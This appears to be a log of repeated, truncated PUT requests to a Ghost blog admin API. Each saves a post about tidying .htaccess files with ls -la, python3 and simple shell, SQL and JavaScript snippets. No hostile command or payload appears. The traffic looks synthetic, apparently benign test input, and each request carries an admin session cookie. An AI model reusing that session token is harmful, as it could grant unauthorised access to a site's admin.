idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8145", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8330", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8209", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8121", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8204", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run 